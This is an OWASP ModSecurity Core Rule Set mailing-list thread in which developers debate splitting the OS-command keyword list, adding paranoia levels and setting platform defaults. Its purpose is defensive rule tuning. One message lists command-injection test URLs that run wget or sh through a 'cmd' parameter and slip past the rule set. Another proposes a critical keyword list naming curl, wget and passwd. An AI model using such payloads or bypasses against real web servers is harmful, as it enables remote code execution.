Hello,

That is a smart move. It allows us to eliminate all "file splitting"
tasks out of the paranoia mode project. Simplifies things a lot.

@Chaim want to start a TODO file in the top folder of the CRS?

Ahoj,

Christian

On Wed, Feb 17, 2016 at 09:05:52PM +0100, Franziska Buehler wrote:
> Hi,
> 
> I also like the idea of splitting the file. Perhaps we even need multiple 
> files.
> Walter has a lot of good thougts!
> This task doesn't seem to be very easy and some testing will be necessary.
> So I think we have to decide later, outside of this little project,
> and we should move on to the first pull request.
> 
> Regards,
> Franziska
> 
> 2016-02-15 5:07 GMT+01:00 Chaim Sanders <csand...@trustwave.com>:
> > For the record I think this is a good idea but perhaps outside the scope a
> > bit of the initial RC release. Christian, I suggest we add this to the
> > To-do for 3.1. Thoughts?
> >
> > On 2/12/16, 4:17 PM,
> > "owasp-modsecurity-core-rule-set-boun...@lists.owasp.org on behalf of
> > Christian Folini" <owasp-modsecurity-core-rule-set-boun...@lists.owasp.org
> > on behalf of christian.fol...@netnea.com> wrote:
> >
> >>Hi there,
> >>
> >>There has not been any additional feedback in this thread, but I think
> >>the question is not settled as of this writing.
> >>
> >>Thoughts?
> >>
> >>Regs,
> >>
> >>Christian
> >>
> >>On Sun, Feb 07, 2016 at 08:55:30PM +0100, Christian Folini wrote:
> >>> Hi there,
> >>>
> >>> On Sat, Feb 06, 2016 at 11:04:00PM +0100, Walter Hop wrote:
> >>> > I like the idea of splitting the file.
> >>>
> >>> Cool.
> >>>
> >>> > I agree some of the words in os-commands.data seem rather paranoid.
> >>>Words like "choice", "help", "now² seem of low value and are common in
> >>>natural text. Also, the large number of Unix-only environments could
> >>>skip Windows related commands. It¹s hard for users to modify these lists
> >>>as you¹d have to hack the CRS, and these huge collections are to
> >>>maintain anyhow, so I agree we need granularity.
> >>>
> >>> Good point.
> >>>
> >>> > The rule has some regexp magic to prevent false positives, but the
> >>>balance is not a complete success in my opinion. For instance, the
> >>>following URLs don't trigger in CRSv3:
> >>> > http://vuln/?cmd=wget%20http://example.com/blah.txt
> >>> > http://vuln/?cmd=sh%20blah.txt
> >>> >
> >>> > So it's not as strong as you would want either to prevent some common
> >>>RCE.
> >>> > Something like http://vuln/?cmd=Wget%20http://example.com/;%20ecHo
> >>>does trigger it.
> >>>
> >>> I see. Good observations.
> >>>
> >>> > 1) I think that a user should check their desired platforms in the
> >>>setup conf. In fact, this would be great to do anyway in the initial
> >>>3.0.0 release even if we DON'T look at it in any rule yet. Specifying
> >>>platform types will pave the way for reducing false positives and false
> >>>negatives by skipping unnecessary checks and being more strict on the
> >>>right platforms. So we could start by listing these platforms in the
> >>>existing rule in the setup conf. Example:
> >>> >
> >>> >    SecAction \
> >>> >      "id:'900024', \
> >>> >      phase:1, \
> >>> >      t:none, \
> >>> >      setvar:tx.unix=1, \
> >>> >      setvar:tx.windows=1, \
> >>> >      setvar:tx.java=1, \
> >>> >      setvar:tx.php=1, \
> >>>
> >>> That makes a lot of sense. At first sight.
> >>>
> >>> I think that a default install should come with these rulesets
> >>> all enabled and a sysadmin can then switch them of if we is aware that
> >>> there is no php in his service.
> >>>
> >>> So given the following two scenarios
> >>> #1 - Newbie sysadmin installs ModSec and runs into a lot of false
> >>>positives
> >>>     because he does not disable unneeded rulesets
> >>> #2 - Newbie sysadmin installs ModSec and is p0wned because he does not
> >>>enable
> >>>     the php protection
> >>> I strongly favour #1.
> >>>
> >>> A vanilla install of the core rules should give you a full coverage for
> >>>all
> >>> types of services and a decent security level. Reducing false positives
> >>>by
> >>> omitting certain rules (ideally rules which provide no value for your
> >>>setup)
> >>> is the very idea of tuning.
> >>> Reducing the initial number of false positives by moving certain rules
> >>> with a worse relationsship between added security and false positives,
> >>> that is the idea of the paranoia mode.
> >>>
> >>> Chaim stated in a different message, that the rules are now organised
> >>> into files aimed at certain environments. So switching them off is
> >>> fairly easy. And there are the tags on top of it.
> >>> So you have tag:'language-PHP' and setting SecRuleRemoveByTag will
> >>> disable them all very easily.
> >>>
> >>> So I think, we do not need these variables.
> >>>
> >>> > (By the way: I think it¹s unfortunate that a user has to use value 1
> >>>to enable a check. An undefined variable will mean that the CRS will
> >>>skip some rules. This makes it dangerous to introduce a new variable in
> >>>the CRS later; all existing installations MUST then add this variable to
> >>>their setup rule immediately, or suffer from reduced security. It¹s
> >>>better to use a scheme that defaults to ³on². A convention like
> >>>³tx.disable_mysql=1² would be user unfriendly and error-prone. But we
> >>>could check for an explicit ³off² string, e.g. ³setvar:tx.mysql=off². If
> >>>it¹s not ³off² then assume that the user DOES want the check. I think
> >>>it¹s important to get this right in 3.0.0, it will be more painful to do
> >>>it later.)
> >>>
> >>> That's a very good observation. I had a similar idea once.
> >>>
> >>> In programming, you usually start with a default value and then
> >>> the users overrides the default value. If he wants to.
> >>>
> >>> I am not sure how modsecurity_crs_10_setup.conf.example is going to
> >>> be transformed to work seamlessly with 3.0. But this makes the
> >>> setting of default values a bit tricky.
> >>>
> >>> Maybe a file REQUEST-02-DEFAULTS.conf could set default values
> >>> if certain variables are not set.
> >>>
> >>> > 2) Separate the words into multiple lists:
> >>> >    os-commands-critical.data (absolute red flag list: "curl", "passwd",
> >>>"sh", "uname", "wget" etc.)
> >>> >    os-commands-paranoid.data (absolute low value, but high FP natural
> >>>words like "choice")
> >>> >    os-commands-windows.data (all Windows commands)
> >>> >    os-commands-common.data (all other commands)
> >>>
> >>> Makes some sense. Too granular is difficult and you mix various
> >>> grouping criteria (criticality, paranoia, os), which makes is a
> >>> bit hard to follow.
> >>>
> >>> Other opinions?
> >>>
> >>> > 3) Review the current regexp against some test data and CRSv2 to make
> >>>it more sensitive
> >>>
> >>> Good plan. Maybe this could be done in a separate pull request.
> >>> I am afraid to overload the paranoia mode pull request...
> >>>
> >>> Ahoj,
> >>>
> >>> Christian
> >>>
> >>>
> >>> --
> >>> In war you will generally find that the enemy has at any time
> >>> three courses of action open to him. Of those three, he will
> >>> invariably choose the fourth.
> >>> -- Helmuth Von Moltke
> >>> _______________________________________________
> >>> Owasp-modsecurity-core-rule-set mailing list
> >>> Owasp-modsecurity-core-rule-set@lists.owasp.org
> >>>
> >>>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOIn
> >>>uYrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2f
> >>>owasp-modsecurity-core-rule-set
> >>
> >>--
> >>mailto:christian.fol...@netnea.com
> >>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOInu
> >>N-aaCptw&s=5&u=http%3a%2f%2fwww%2echristian-folini%2ech
> >>twitter: @ChrFolini
> >>_______________________________________________
> >>Owasp-modsecurity-core-rule-set mailing list
> >>Owasp-modsecurity-core-rule-set@lists.owasp.org
> >>http://scanmail.trustwave.com/?c=4062&d=ndG-1q_MaPpAIUX2lZSE6lY7cpl0meOInu
> >>YrNabyug&s=5&u=https%3a%2f%2flists%2eowasp%2eorg%2fmailman%2flistinfo%2fow
> >>asp-modsecurity-core-rule-set
> >
> >
> > ________________________________
> >
> > This transmission may contain information that is privileged, confidential, 
> > and/or exempt from disclosure under applicable law. If you are not the 
> > intended recipient, you are hereby notified that any disclosure, copying, 
> > distribution, or use of the information contained herein (including any 
> > reliance thereon) is strictly prohibited. If you received this transmission 
> > in error, please immediately contact the sender and destroy the material in 
> > its entirety, whether in electronic or hard copy format.
> > _______________________________________________
> > Owasp-modsecurity-core-rule-set mailing list
> > Owasp-modsecurity-core-rule-set@lists.owasp.org
> > https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set
> _______________________________________________
> Owasp-modsecurity-core-rule-set mailing list
> Owasp-modsecurity-core-rule-set@lists.owasp.org
> https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set

-- 
mailto:christian.fol...@netnea.com
http://www.christian-folini.ch
twitter: @ChrFolini
_______________________________________________
Owasp-modsecurity-core-rule-set mailing list
Owasp-modsecurity-core-rule-set@lists.owasp.org
https://lists.owasp.org/mailman/listinfo/owasp-modsecurity-core-rule-set

Reply via email to